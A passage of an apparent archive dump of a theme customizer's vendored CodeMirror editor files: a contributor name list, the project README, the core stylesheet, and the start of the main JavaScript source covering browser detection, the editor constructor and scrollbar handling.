Randall Mason
Randy Burden
Randy Edmunds
Rasmus Erik Voel Jensen
ray ratchup
Ray Ratchup
Richard Denton
Richard van der Meer
Richard Z.H. Wang
Robert Crossfield
Roberto Abdelkader Martínez Pérez
robertop23
Robert Plummer
Rrandom
Ruslan Osmanov
Ryan Prior
sabaca
Samuel Ainsworth
sandeepshetty
Sander AKA Redsandro
santec
Sascha Peilicke
satamas
satchmorun
sathyamoorthi
S. Chris Colbert
SCLINIC\jdecker
Scott Aikin
Scott Goodhew
Sebastian Zaha
Se-Won Kim
shaund
shaun gilchrist
Shawn A
Shea Bunge
sheopory
Shiv Deepak
Shmuel Englard
Shubham Jain
silverwind
snasa
soliton4
sonson
spastorelli
srajanpaliwal
Stanislav Oaserele
Stas Kobzar
Stefan Borsje
Steffen Beyer
Stephen Lavelle
Steve O'Hara
stoskov
Sungho Kim
sverweij
Taha Jahangir
Tako Schotanus
Takuji Shimokawa
Tarmil
tel
tfjgeorge
Thaddee Tyl
thanasis
TheHowl
think
Thomas Dvornik
Thomas Schmid
Tim Alby
Tim Baumann
Timothy Farrell
Timothy Hatcher
TobiasBg
Tomas-A
Tomas Varaneckas
Tom Erik Støwer
Tom MacWright
Tony Jian
Travis Heppe
Triangle717
twifkak
Vestimir Markov
vf
Victor Bocharsky
Vincent Woo
Volker Mische
wenli
Wes Cossick
Wesley Wiser
Will Binns-Smith
William Jamieson
William Stein
Willy
Wojtek Ptak
Xavier Mendez
Yassin N. Hassan
YNH Webdev
Yunchi Luo
Yuvi Panda
Zachary Dremann
Zhang Hao
zziuni
魏鹏刚
PK     0w\@f    :  customizer/framework/assets/js/vendor/codemirror/README.mdnu [        # CodeMirror
[![Build Status](https://travis-ci.org/codemirror/CodeMirror.svg)](https://travis-ci.org/codemirror/CodeMirror)
[![NPM version](https://img.shields.io/npm/v/codemirror.svg)](https://www.npmjs.org/package/codemirror)
[![Join the chat at https://gitter.im/codemirror/CodeMirror](https://badges.gitter.im/Join%20Chat.svg)](https://gitter.im/codemirror/CodeMirror)  
[Funding status: ![maintainer happiness](https://marijnhaverbeke.nl/fund/status_s.png?again)](https://marijnhaverbeke.nl/fund/)

CodeMirror is a versatile text editor implemented in JavaScript for
the browser. It is specialized for editing code, and comes with over
100 language modes and various addons that implement more advanced
editing functionality.

A rich programming API and a CSS theming system are available for
customizing CodeMirror to fit your application, and extending it with
new functionality.

You can find more information (and the
[manual](http://codemirror.net/doc/manual.html)) on the [project
page](http://codemirror.net). For questions and discussion, use the
[discussion forum](http://discuss.codemirror.net/).

See
[CONTRIBUTING.md](https://github.com/codemirror/CodeMirror/blob/master/CONTRIBUTING.md)
for contributing guidelines.

The CodeMirror community aims to be welcoming to everybody. We use the
[Contributor Covenant
(1.1)](http://contributor-covenant.org/version/1/1/0/) as our code of
conduct.
PK     0w\_W  W  C  customizer/framework/assets/js/vendor/codemirror/lib/codemirror.cssnu [        /* BASICS */

.CodeMirror {
  /* Set height, width, borders, and global font properties here */
  font-family: monospace;
  height: 300px;
  color: black;
}

/* PADDING */

.CodeMirror-lines {
  padding: 4px 0; /* Vertical padding around content */
}
.CodeMirror pre {
  padding: 0 4px; /* Horizontal padding of content */
}

.CodeMirror-scrollbar-filler, .CodeMirror-gutter-filler {
  background-color: white; /* The little square between H and V scrollbars */
}

/* GUTTER */

.CodeMirror-gutters {
  border-right: 1px solid #ddd;
  background-color: #f7f7f7;
  white-space: nowrap;
}
.CodeMirror-linenumbers {}
.CodeMirror-linenumber {
  padding: 0 3px 0 5px;
  min-width: 20px;
  text-align: right;
  color: #999;
  white-space: nowrap;
}

.CodeMirror-guttermarker { color: black; }
.CodeMirror-guttermarker-subtle { color: #999; }

/* CURSOR */

.CodeMirror-cursor {
  border-left: 1px solid black;
  border-right: none;
  width: 0;
}
/* Shown when moving in bi-directional text */
.CodeMirror div.CodeMirror-secondarycursor {
  border-left: 1px solid silver;
}
.cm-fat-cursor .CodeMirror-cursor {
  width: auto;
  border: 0;
  background: #7e7;
}
.cm-fat-cursor div.CodeMirror-cursors {
  z-index: 1;
}

.cm-animate-fat-cursor {
  width: auto;
  border: 0;
  -webkit-animation: blink 1.06s steps(1) infinite;
  -moz-animation: blink 1.06s steps(1) infinite;
  animation: blink 1.06s steps(1) infinite;
  background-color: #7e7;
}
@-moz-keyframes blink {
  0% {}
  50% { background-color: transparent; }
  100% {}
}
@-webkit-keyframes blink {
  0% {}
  50% { background-color: transparent; }
  100% {}
}
@keyframes blink {
  0% {}
  50% { background-color: transparent; }
  100% {}
}

/* Can style cursor different in overwrite (non-insert) mode */
.CodeMirror-overwrite .CodeMirror-cursor {}

.cm-tab { display: inline-block; text-decoration: inherit; }

.CodeMirror-ruler {
  border-left: 1px solid #ccc;
  position: absolute;
}

/* DEFAULT THEME */

.cm-s-default .cm-header {color: blue;}
.cm-s-default .cm-quote {color: #090;}
.cm-negative {color: #d44;}
.cm-positive {color: #292;}
.cm-header, .cm-strong {font-weight: bold;}
.cm-em {font-style: italic;}
.cm-link {text-decoration: underline;}
.cm-strikethrough {text-decoration: line-through;}

.cm-s-default .cm-keyword {color: #708;}
.cm-s-default .cm-atom {color: #219;}
.cm-s-default .cm-number {color: #164;}
.cm-s-default .cm-def {color: #00f;}
.cm-s-default .cm-variable,
.cm-s-default .cm-punctuation,
.cm-s-default .cm-property,
.cm-s-default .cm-operator {}
.cm-s-default .cm-variable-2 {color: #05a;}
.cm-s-default .cm-variable-3 {color: #085;}
.cm-s-default .cm-comment {color: #a50;}
.cm-s-default .cm-string {color: #a11;}
.cm-s-default .cm-string-2 {color: #f50;}
.cm-s-default .cm-meta {color: #555;}
.cm-s-default .cm-qualifier {color: #555;}
.cm-s-default .cm-builtin {color: #30a;}
.cm-s-default .cm-bracket {color: #997;}
.cm-s-default .cm-tag {color: #170;}
.cm-s-default .cm-attribute {color: #00c;}
.cm-s-default .cm-hr {color: #999;}
.cm-s-default .cm-link {color: #00c;}

.cm-s-default .cm-error {color: #f00;}
.cm-invalidchar {color: #f00;}

.CodeMirror-composing { border-bottom: 2px solid; }

/* Default styles for common addons */

div.CodeMirror span.CodeMirror-matchingbracket {color: #0f0;}
div.CodeMirror span.CodeMirror-nonmatchingbracket {color: #f22;}
.CodeMirror-matchingtag { background: rgba(255, 150, 0, .3); }
.CodeMirror-activeline-background {background: #e8f2ff;}

/* STOP */

/* The rest of this file contains styles related to the mechanics of
   the editor. You probably shouldn't touch them. */

.CodeMirror {
  position: relative;
  overflow: hidden;
  background: white;
}

.CodeMirror-scroll {
  overflow: scroll !important; /* Things will break if this is overridden */
  /* 30px is the magic margin used to hide the element's real scrollbars */
  /* See overflow: hidden in .CodeMirror */
  margin-bottom: -30px; margin-right: -30px;
  padding-bottom: 30px;
  height: 100%;
  outline: none; /* Prevent dragging from highlighting the element */
  position: relative;
}
.CodeMirror-sizer {
  position: relative;
  border-right: 30px solid transparent;
}

/* The fake, visible scrollbars. Used to force redraw during scrolling
   before actuall scrolling happens, thus preventing shaking and
   flickering artifacts. */
.CodeMirror-vscrollbar, .CodeMirror-hscrollbar, .CodeMirror-scrollbar-filler, .CodeMirror-gutter-filler {
  position: absolute;
  z-index: 6;
  display: none;
}
.CodeMirror-vscrollbar {
  right: 0; top: 0;
  overflow-x: hidden;
  overflow-y: scroll;
}
.CodeMirror-hscrollbar {
  bottom: 0; left: 0;
  overflow-y: hidden;
  overflow-x: scroll;
}
.CodeMirror-scrollbar-filler {
  right: 0; bottom: 0;
}
.CodeMirror-gutter-filler {
  left: 0; bottom: 0;
}

.CodeMirror-gutters {
  position: absolute; left: 0; top: 0;
  z-index: 3;
}
.CodeMirror-gutter {
  white-space: normal;
  height: 100%;
  display: inline-block;
  margin-bottom: -30px;
  /* Hack to make IE7 behave */
  *zoom:1;
  *display:inline;
}
.CodeMirror-gutter-wrapper {
  position: absolute;
  z-index: 4;
  background: none !important;
  border: none !important;
}
.CodeMirror-gutter-background {
  position: absolute;
  top: 0; bottom: 0;
  z-index: 4;
}
.CodeMirror-gutter-elt {
  position: absolute;
  cursor: default;
  z-index: 4;
}
.CodeMirror-gutter-wrapper {
  -webkit-user-select: none;
  -moz-user-select: none;
  user-select: none;
}

.CodeMirror-lines {
  cursor: text;
  min-height: 1px; /* prevents collapsing before first draw */
}
.CodeMirror pre {
  /* Reset some styles that the rest of the page might have set */
  -moz-border-radius: 0; -webkit-border-radius: 0; border-radius: 0;
  border-width: 0;
  background: transparent;
  font-family: inherit;
  font-size: inherit;
  margin: 0;
  white-space: pre;
  word-wrap: normal;
  line-height: inherit;
  color: inherit;
  z-index: 2;
  position: relative;
  overflow: visible;
  -webkit-tap-highlight-color: transparent;
}
.CodeMirror-wrap pre {
  word-wrap: break-word;
  white-space: pre-wrap;
  word-break: normal;
}

.CodeMirror-linebackground {
  position: absolute;
  left: 0; right: 0; top: 0; bottom: 0;
  z-index: 0;
}

.CodeMirror-linewidget {
  position: relative;
  z-index: 2;
  overflow: auto;
}

.CodeMirror-widget {}

.CodeMirror-code {
  outline: none;
}

/* Force content-box sizing for the elements where we expect it */
.CodeMirror-scroll,
.CodeMirror-sizer,
.CodeMirror-gutter,
.CodeMirror-gutters,
.CodeMirror-linenumber {
  -moz-box-sizing: content-box;
  box-sizing: content-box;
}

.CodeMirror-measure {
  position: absolute;
  width: 100%;
  height: 0;
  overflow: hidden;
  visibility: hidden;
}

.CodeMirror-cursor { position: absolute; }
.CodeMirror-measure pre { position: static; }

div.CodeMirror-cursors {
  visibility: hidden;
  position: relative;
  z-index: 3;
}
div.CodeMirror-dragcursors {
  visibility: visible;
}

.CodeMirror-focused div.CodeMirror-cursors {
  visibility: visible;
}

.CodeMirror-selected { background: #d9d9d9; }
.CodeMirror-focused .CodeMirror-selected { background: #d7d4f0; }
.CodeMirror-crosshair { cursor: crosshair; }
.CodeMirror-line::selection, .CodeMirror-line > span::selection, .CodeMirror-line > span > span::selection { background: #d7d4f0; }
.CodeMirror-line::-moz-selection, .CodeMirror-line > span::-moz-selection, .CodeMirror-line > span > span::-moz-selection { background: #d7d4f0; }

.cm-searching {
  background: #ffa;
  background: rgba(255, 255, 0, .4);
}

/* IE7 hack to prevent it from returning funny offsetTops on the spans */
.CodeMirror span { *vertical-align: text-bottom; }

/* Used to force a border model for a node */
.cm-force-border { padding-right: .1px; }

@media print {
  /* Hide the cursor when printing */
  .CodeMirror div.CodeMirror-cursors {
    visibility: hidden;
  }
}

/* See issue #2901 */
.cm-tab-wrap-hack:after { content: ''; }

/* Help users use markselection to safely style text background */
span.CodeMirror-selectedtext { background: none; }
PK     0w\_ _ B  customizer/framework/assets/js/vendor/codemirror/lib/codemirror.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

// This is CodeMirror (http://codemirror.net), a code editor
// implemented in JavaScript on top of the browser's DOM.
//
// You can find some technical background for some of the code below
// at http://marijnhaverbeke.nl/blog/#cm-internals .

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    module.exports = mod();
  else if (typeof define == "function" && define.amd) // AMD
    return define([], mod);
  else // Plain browser env
    this.CodeMirror = mod();
})(function() {
  "use strict";

  // BROWSER SNIFFING

  // Kludges for bugs and behavior differences that can't be feature
  // detected are enabled based on userAgent etc sniffing.
  var userAgent = navigator.userAgent;
  var platform = navigator.platform;

  var gecko = /gecko\/\d/i.test(userAgent);
  var ie_upto10 = /MSIE \d/.test(userAgent);
  var ie_11up = /Trident\/(?:[7-9]|\d{2,})\..*rv:(\d+)/.exec(userAgent);
  var ie = ie_upto10 || ie_11up;
  var ie_version = ie && (ie_upto10 ? document.documentMode || 6 : ie_11up[1]);
  var webkit = /WebKit\//.test(userAgent);
  var qtwebkit = webkit && /Qt\/\d+\.\d+/.test(userAgent);
  var chrome = /Chrome\//.test(userAgent);
  var presto = /Opera\//.test(userAgent);
  var safari = /Apple Computer/.test(navigator.vendor);
  var mac_geMountainLion = /Mac OS X 1\d\D([8-9]|\d\d)\D/.test(userAgent);
  var phantom = /PhantomJS/.test(userAgent);

  var ios = /AppleWebKit/.test(userAgent) && /Mobile\/\w+/.test(userAgent);
  // This is woefully incomplete. Suggestions for alternative methods welcome.
  var mobile = ios || /Android|webOS|BlackBerry|Opera Mini|Opera Mobi|IEMobile/i.test(userAgent);
  var mac = ios || /Mac/.test(platform);
  var windows = /win/i.test(platform);

  var presto_version = presto && userAgent.match(/Version\/(\d*\.\d*)/);
  if (presto_version) presto_version = Number(presto_version[1]);
  if (presto_version && presto_version >= 15) { presto = false; webkit = true; }
  // Some browsers use the wrong event properties to signal cmd/ctrl on OS X
  var flipCtrlCmd = mac && (qtwebkit || presto && (presto_version == null || presto_version < 12.11));
  var captureRightClick = gecko || (ie && ie_version >= 9);

  // Optimize some code when these features are not used.
  var sawReadOnlySpans = false, sawCollapsedSpans = false;

  // EDITOR CONSTRUCTOR

  // A CodeMirror instance represents an editor. This is the object
  // that user code is usually dealing with.

  function CodeMirror(place, options) {
    if (!(this instanceof CodeMirror)) return new CodeMirror(place, options);

    this.options = options = options ? copyObj(options) : {};
    // Determine effective options based on given values and defaults.
    copyObj(defaults, options, false);
    setGuttersForLineNumbers(options);

    var doc = options.value;
    if (typeof doc == "string") doc = new Doc(doc, options.mode, null, options.lineSeparator);
    this.doc = doc;

    var input = new CodeMirror.inputStyles[options.inputStyle](this);
    var display = this.display = new Display(place, doc, input);
    display.wrapper.CodeMirror = this;
    updateGutters(this);
    themeChanged(this);
    if (options.lineWrapping)
      this.display.wrapper.className += " CodeMirror-wrap";
    if (options.autofocus && !mobile) display.input.focus();
    initScrollbars(this);

    this.state = {
      keyMaps: [],  // stores maps added by addKeyMap
      overlays: [], // highlighting overlays, as added by addOverlay
      modeGen: 0,   // bumped when mode/overlay changes, used to invalidate highlighting info
      overwrite: false,
      delayingBlurEvent: false,
      focused: false,
      suppressEdits: false, // used to disable editing during key handlers when in readOnly mode
      pasteIncoming: false, cutIncoming: false, // help recognize paste/cut edits in input.poll
      selectingText: false,
      draggingText: false,
      highlight: new Delayed(), // stores highlight worker timeout
      keySeq: null,  // Unfinished key sequence
      specialChars: null
    };

    var cm = this;

    // Override magic textarea content restore that IE sometimes does
    // on our hidden textarea on reload
    if (ie && ie_version < 11) setTimeout(function() { cm.display.input.reset(true); }, 20);

    registerEventHandlers(this);
    ensureGlobalHandlers();

    startOperation(this);
    this.curOp.forceUpdate = true;
    attachDoc(this, doc);

    if ((options.autofocus && !mobile) || cm.hasFocus())
      setTimeout(bind(onFocus, this), 20);
    else
      onBlur(this);

    for (var opt in optionHandlers) if (optionHandlers.hasOwnProperty(opt))
      optionHandlers[opt](this, options[opt], Init);
    maybeUpdateLineNumberWidth(this);
    if (options.finishInit) options.finishInit(this);
    for (var i = 0; i < initHooks.length; ++i) initHooks[i](this);
    endOperation(this);
    // Suppress optimizelegibility in Webkit, since it breaks text
    // measuring on line wrapping boundaries.
    if (webkit && options.lineWrapping &&
        getComputedStyle(display.lineDiv).textRendering == "optimizelegibility")
      display.lineDiv.style.textRendering = "auto";
  }

  // DISPLAY CONSTRUCTOR

  // The display handles the DOM integration, both for input reading
  // and content drawing. It holds references to DOM nodes and
  // display-related state.

  function Display(place, doc, input) {
    var d = this;
    this.input = input;

    // Covers bottom-right square when both scrollbars are present.
    d.scrollbarFiller = elt("div", null, "CodeMirror-scrollbar-filler");
    d.scrollbarFiller.setAttribute("cm-not-content", "true");
    // Covers bottom of gutter when coverGutterNextToScrollbar is on
    // and h scrollbar is present.
    d.gutterFiller = elt("div", null, "CodeMirror-gutter-filler");
    d.gutterFiller.setAttribute("cm-not-content", "true");
    // Will contain the actual code, positioned to cover the viewport.
    d.lineDiv = elt("div", null, "CodeMirror-code");
    // Elements are added to these to represent selection and cursors.
    d.selectionDiv = elt("div", null, null, "position: relative; z-index: 1");
    d.cursorDiv = elt("div", null, "CodeMirror-cursors");
    // A visibility: hidden element used to find the size of things.
    d.measure = elt("div", null, "CodeMirror-measure");
    // When lines outside of the viewport are measured, they are drawn in this.
    d.lineMeasure = elt("div", null, "CodeMirror-measure");
    // Wraps everything that needs to exist inside the vertically-padded coordinate system
    d.lineSpace = elt("div", [d.measure, d.lineMeasure, d.selectionDiv, d.cursorDiv, d.lineDiv],
                      null, "position: relative; outline: none");
    // Moved around its parent to cover visible view.
    d.mover = elt("div", [elt("div", [d.lineSpace], "CodeMirror-lines")], null, "position: relative");
    // Set to the height of the document, allowing scrolling.
    d.sizer = elt("div", [d.mover], "CodeMirror-sizer");
    d.sizerWidth = null;
    // Behavior of elts with overflow: auto and padding is
    // inconsistent across browsers. This is used to ensure the
    // scrollable area is big enough.
    d.heightForcer = elt("div", null, null, "position: absolute; height: " + scrollerGap + "px; width: 1px;");
    // Will contain the gutters, if any.
    d.gutters = elt("div", null, "CodeMirror-gutters");
    d.lineGutter = null;
    // Actual scrollable element.
    d.scroller = elt("div", [d.sizer, d.heightForcer, d.gutters], "CodeMirror-scroll");
    d.scroller.setAttribute("tabIndex", "-1");
    // The element in which the editor lives.
    d.wrapper = elt("div", [d.scrollbarFiller, d.gutterFiller, d.scroller], "CodeMirror");

    // Work around IE7 z-index bug (not perfect, hence IE7 not really being supported)
    if (ie && ie_version < 8) { d.gutters.style.zIndex = -1; d.scroller.style.paddingRight = 0; }
    if (!webkit && !(gecko && mobile)) d.scroller.draggable = true;

    if (place) {
      if (place.appendChild) place.appendChild(d.wrapper);
      else place(d.wrapper);
    }

    // Current rendered range (may be bigger than the view window).
    d.viewFrom = d.viewTo = doc.first;
    d.reportedViewFrom = d.reportedViewTo = doc.first;
    // Information about the rendered lines.
    d.view = [];
    d.renderedView = null;
    // Holds info about a single rendered line when it was rendered
    // for measurement, while not in view.
    d.externalMeasured = null;
    // Empty space (in pixels) above the view
    d.viewOffset = 0;
    d.lastWrapHeight = d.lastWrapWidth = 0;
    d.updateLineNumbers = null;

    d.nativeBarWidth = d.barHeight = d.barWidth = 0;
    d.scrollbarsClipped = false;

    // Used to only resize the line number gutter when necessary (when
    // the amount of lines crosses a boundary that makes its width change)
    d.lineNumWidth = d.lineNumInnerWidth = d.lineNumChars = null;
    // Set to true when a non-horizontal-scrolling line widget is
    // added. As an optimization, line widget aligning is skipped when
    // this is false.
    d.alignWidgets = false;

    d.cachedCharWidth = d.cachedTextHeight = d.cachedPaddingH = null;

    // Tracks the maximum line length so that the horizontal scrollbar
    // can be kept static when scrolling.
    d.maxLine = null;
    d.maxLineLength = 0;
    d.maxLineChanged = false;

    // Used for measuring wheel scrolling granularity
    d.wheelDX = d.wheelDY = d.wheelStartX = d.wheelStartY = null;

    // True when shift is held down.
    d.shift = false;

    // Used to track whether anything happened since the context menu
    // was opened.
    d.selForContextMenu = null;

    d.activeTouch = null;

    input.init(d);
  }

  // STATE UPDATES

  // Used to get the editor into a consistent state again when options change.

  function loadMode(cm) {
    cm.doc.mode = CodeMirror.getMode(cm.options, cm.doc.modeOption);
    resetModeState(cm);
  }

  function resetModeState(cm) {
    cm.doc.iter(function(line) {
      if (line.stateAfter) line.stateAfter = null;
      if (line.styles) line.styles = null;
    });
    cm.doc.frontier = cm.doc.first;
    startWorker(cm, 100);
    cm.state.modeGen++;
    if (cm.curOp) regChange(cm);
  }

  function wrappingChanged(cm) {
    if (cm.options.lineWrapping) {
      addClass(cm.display.wrapper, "CodeMirror-wrap");
      cm.display.sizer.style.minWidth = "";
      cm.display.sizerWidth = null;
    } else {
      rmClass(cm.display.wrapper, "CodeMirror-wrap");
      findMaxLine(cm);
    }
    estimateLineHeights(cm);
    regChange(cm);
    clearCaches(cm);
    setTimeout(function(){updateScrollbars(cm);}, 100);
  }

  // Returns a function that estimates the height of a line, to use as
  // first approximation until the line becomes visible (and is thus
  // properly measurable).
  function estimateHeight(cm) {
    var th = textHeight(cm.display), wrapping = cm.options.lineWrapping;
    var perLine = wrapping && Math.max(5, cm.display.scroller.clientWidth / charWidth(cm.display) - 3);
    return function(line) {
      if (lineIsHidden(cm.doc, line)) return 0;

      var widgetsHeight = 0;
      if (line.widgets) for (var i = 0; i < line.widgets.length; i++) {
        if (line.widgets[i].height) widgetsHeight += line.widgets[i].height;
      }

      if (wrapping)
        return widgetsHeight + (Math.ceil(line.text.length / perLine) || 1) * th;
      else
        return widgetsHeight + th;
    };
  }

  function estimateLineHeights(cm) {
    var doc = cm.doc, est = estimateHeight(cm);
    doc.iter(function(line) {
      var estHeight = est(line);
      if (estHeight != line.height) updateLineHeight(line, estHeight);
    });
  }

  function themeChanged(cm) {
    cm.display.wrapper.className = cm.display.wrapper.className.replace(/\s*cm-s-\S+/g, "") +
      cm.options.theme.replace(/(^|\s)\s*/g, " cm-s-");
    clearCaches(cm);
  }

  function guttersChanged(cm) {
    updateGutters(cm);
    regChange(cm);
    setTimeout(function(){alignHorizontally(cm);}, 20);
  }

  // Rebuild the gutter elements, ensure the margin to the left of the
  // code matches their width.
  function updateGutters(cm) {
    var gutters = cm.display.gutters, specs = cm.options.gutters;
    removeChildren(gutters);
    for (var i = 0; i < specs.length; ++i) {
      var gutterClass = specs[i];
      var gElt = gutters.appendChild(elt("div", null, "CodeMirror-gutter " + gutterClass));
      if (gutterClass == "CodeMirror-linenumbers") {
        cm.display.lineGutter = gElt;
        gElt.style.width = (cm.display.lineNumWidth || 1) + "px";
      }
    }
    gutters.style.display = i ? "" : "none";
    updateGutterSpace(cm);
  }

  function updateGutterSpace(cm) {
    var width = cm.display.gutters.offsetWidth;
    cm.display.sizer.style.marginLeft = width + "px";
  }

  // Compute the character length of a line, taking into account
  // collapsed ranges (see markText) that might hide parts, and join
  // other lines onto it.
  function lineLength(line) {
    if (line.height == 0) return 0;
    var len = line.text.length, merged, cur = line;
    while (merged = collapsedSpanAtStart(cur)) {
      var found = merged.find(0, true);
      cur = found.from.line;
      len += found.from.ch - found.to.ch;
    }
    cur = line;
    while (merged = collapsedSpanAtEnd(cur)) {
      var found = merged.find(0, true);
      len -= cur.text.length - found.from.ch;
      cur = found.to.line;
      len += cur.text.length - found.to.ch;
    }
    return len;
  }

  // Find the longest line in the document.
  function findMaxLine(cm) {
    var d = cm.display, doc = cm.doc;
    d.maxLine = getLine(doc, doc.first);
    d.maxLineLength = lineLength(d.maxLine);
    d.maxLineChanged = true;
    doc.iter(function(line) {
      var len = lineLength(line);
      if (len > d.maxLineLength) {
        d.maxLineLength = len;
        d.maxLine = line;
      }
    });
  }

  // Make sure the gutters options contains the element
  // "CodeMirror-linenumbers" when the lineNumbers option is true.
  function setGuttersForLineNumbers(options) {
    var found = indexOf(options.gutters, "CodeMirror-linenumbers");
    if (found == -1 && options.lineNumbers) {
      options.gutters = options.gutters.concat(["CodeMirror-linenumbers"]);
    } else if (found > -1 && !options.lineNumbers) {
      options.gutters = options.gutters.slice(0);
      options.gutters.splice(found, 1);
    }
  }

  // SCROLLBARS

  // Prepare DOM reads needed to update the scrollbars. Done in one
  // shot to minimize update/measure roundtrips.
  function measureForScrollbars(cm) {
    var d = cm.display, gutterW = d.gutters.offsetWidth;
    var docH = Math.round(cm.doc.height + paddingVert(cm.display));
    return {
      clientHeight: d.scroller.clientHeight,
      viewHeight: d.wrapper.clientHeight,
      scrollWidth: d.scroller.scrollWidth, clientWidth: d.scroller.clientWidth,
      viewWidth: d.wrapper.clientWidth,
      barLeft: cm.options.fixedGutter ? gutterW : 0,
      docHeight: docH,
      scrollHeight: docH + scrollGap(cm) + d.barHeight,
      nativeBarWidth: d.nativeBarWidth,
      gutterWidth: gutterW
    };
  }

  function NativeScrollbars(place, scroll, cm) {
    this.cm = cm;
    var vert = this.vert = elt("div", [elt("div", null, null, "min-width: 1px")], "CodeMirror-vscrollbar");
    var horiz = this.horiz = elt("div", [elt("div", null, null, "height: 100%; min-height: 1px")], "CodeMirror-hscrollbar");
    place(vert); place(horiz);

    on(vert, "scroll", function() {
      if (vert.clientHeight) scroll(vert.scrollTop, "vertical");
    });
    on(horiz, "scroll", function() {
      if (horiz.clientWidth) scroll(horiz.scrollLeft, "horizontal");
    });

    this.checkedZeroWidth = false;
    // Need to set a minimum width to see the scrollbar on IE7 (but must not set it on IE8).
    if (ie && ie_version < 8) this.horiz.style.minHeight = this.vert.style.minWidth = "18px";
  }

  NativeScrollbars.prototype = copyObj({
    update: function(measure) {
      var needsH = measure.scrollWidth > measure.clientWidth + 1;
      var needsV = measure.scrollHeight > measure.clientHeight + 1;
      var sWidth = measure.nativeBarWidth;

      if (needsV) {
        this.vert.style.display = "block";
        this.vert.style.bottom = needsH ? sWidth + "px" : "0";
        var totalHeight = measure.viewHeight - (needsH ? sWidth : 0);
        // A bug in IE8 can cause this value to be negative, so guard it.
        this.vert.firstChild.style.height =
          Math.max(0, measure.scrollHeight - measure.clientHeight + totalHeight) + "px";
      } else {
        this.vert.style.display = "";
        this.vert.firstChild.style.height = "0";
      }

      if (needsH) {
        this.horiz.style.display = "block";
        this.horiz.style.right = needsV ? sWidth + "px" : "0";
        this.horiz.style.left = measure.barLeft + "px";
        var totalWidth = measure.viewWidth - measure.barLeft - (needsV ? sWidth : 0);
        this.horiz.firstChild.style.width =
          (measure.scrollWidth - measure.clientWidth + totalWidth) + "px";
      } else {
        this.horiz.style.display = "";
        this.horiz.firstChild.style.width = "0";
      }

      if (!this.checkedZeroWidth && measure.clientHeight > 0) {
        if (sWidth == 0) this.zeroWidthHack();
        this.checkedZeroWidth = true;
      }

      return {right: needsV ? sWidth : 0, bottom: needsH ? sWidth : 0};
    },
    setScrollLeft: function(pos) {
      if (this.horiz.scrollLeft != pos) this.horiz.scrollLeft = pos;
      if (this.disableHoriz) this.enableZeroWidthBar(this.horiz, this.disableHoriz);
    },
    setScrollTop: function(pos) {
      if (this.vert.scrollTop != pos) this.vert.scrollTop = pos;
      if (this.disableVert) this.enableZeroWidthBar(this.vert, this.disableVert);
    },
    zeroWidthHack: function() {
      var w = mac && !mac_geMountainLion ? "12px" : "18px";
      this.horiz.style.height = this.vert.style.width = w;
      this.horiz.style.pointerEvents = this.vert.style.pointerEvents = "none";
      this.disableHoriz = new Delayed;
      this.disableVert = new Delayed;
    },
    enableZeroWidthBar: function(bar, delay) {
      bar.style.pointerEvents = "auto";
      function maybeDisable() {
        // To find out whether the scrollbar is still visible, we
        // check whether the element under the pixel in the bottom
        // left corner of the scrollbar box is the scrollbar box
        // itself (when the bar is still visible) or its filler child
        // (when the bar is hidden). If it is still visible, we keep
        // it enabled, if it's hidden, we disable pointer events.
        var box = bar.getBoundingClientRect();
        var elt = document.elementFromPoint(box.left + 1, box.bottom - 1);
        if (elt != bar) bar.style.pointerEvents = "none";
        else delay.set(1000, maybeDisable);
      }
      delay.set(1000, maybeDisable);
    },
    clear: function() {
      var parent = this.horiz.parentNode;
      parent.removeChild(this.horiz);
      parent.removeChild(this.vert);
    }
  }, NativeScrollbars.prototype);

  function NullScrollbars() {}

  NullScrollbars.prototype = copyObj({
    update: function() { return {bottom: 0, right: 0}; },
    setScrollLeft: function() {},
    setScrollTop: function() {},
    clear: function() {}
  }, NullScrollbars.prototype);

  CodeMirror.scrollbarModel = {"native": NativeScrollbars, "null": NullScrollbars};

  function initScrollbars(cm) {
    if (cm.display.scrollbars) {
      cm.display.scrollbars.clear();
      if (cm.display.scrollbars.addClass)
        rmClass(cm.display.wrapper, cm.display.scrollbars.addClass);
    }

    cm.display.scrollbars = new CodeMirror.scrollbarModel[cm.options.scrollbarStyle](function(node) {
      cm.display.wrapper.insertBefore(node, cm.display.scrollbarFiller);
      // Prevent clicks in the scrollbars from killing focus
      on(node, "mousedown", function() {
        if (cm.state.focused) setTimeout(function() { cm.display.input.focus(); }, 0);
      });
      node.setAttribute("cm-not-content", "true");
    }, function(pos, axis) {
      if (axis == "horizontal") setScrollLeft(cm, pos);
      else setScrollTop(cm, pos);
    }, cm);
    if (cm.display.scrollbars.addClass)
      addClass(cm.display.wrapper, cm.display.scrollbars.addClass);
  }

  function updateScrollbars(cm, measure) {
    if (!measure) measure = measureForScrollbars(cm);
    var startWidth = cm.display.barWidth, startHeight = cm.display.barHeight;
    updateScrollbarsInner(cm, measure);
    for (var i = 0; i < 4 && startWidth != cm.display.barWidth || startHeight != cm.display.barHeight; i++) {
      if (startWidth != cm.display.barWidth && cm.options.lineWrapping)
        updateHeightsInViewport(cm);
      updateScrollbarsInner(cm, measureForScrollbars(cm));
      startWidth = cm.display.barWidth; startHeight = cm.display.barHeight;
    }
  }

  // Re-synchronize the fake scrollbars with the actual size of the
  // content.
  function updateScrollbarsInner(cm, measure) {
    var d = cm.display;
    var sizes = d.scrollbars.update(measure);

    d.sizer.style.paddingRight = (d.barWidth = sizes.right) + "px";
    d.sizer.style.paddingBottom = (d.barHeight = sizes.bottom) + "px";

    if (sizes.right && sizes.bottom) {
      d.scrollbarFiller.style.display = "block";
      d.scrollbarFiller.style.height = sizes.bottom + "px";
      d.scrollbarFiller.style.width = sizes.right + "px";
    } else d.scrollbarFiller.style.display = "";
    if (sizes.bottom && cm.options.coverGutterNextToScrollbar && cm.options.fixedGutter) {
      d.gutterFiller.style.display = "block";
      d.gutterFiller.style.height = sizes.bottom + "px";
      d.gutterFiller.style.width = measure.gutterWidth + "px";
    } else d.gutterFiller.style.display = "";
  }

  // Compute the lines that are visible in a given viewport (defaults
  // the the current scroll position). viewport may contain top,
  // height, and ensure (see op.scrollToPos) properties.
  function visibleLines(display, doc, viewport) {
    var top = viewport && viewport.top != null ? Math.max(0, viewport.top) : display.scroller.scrollTop;
    top = Math.floor(top - paddingTop(display));
    var bottom = viewport && viewport.bottom != null ? viewport.bottom : top + display.wrapper.clientHeight;

    var from = lineAtHeight(doc, top), to = lineAtHeight(doc, bottom);
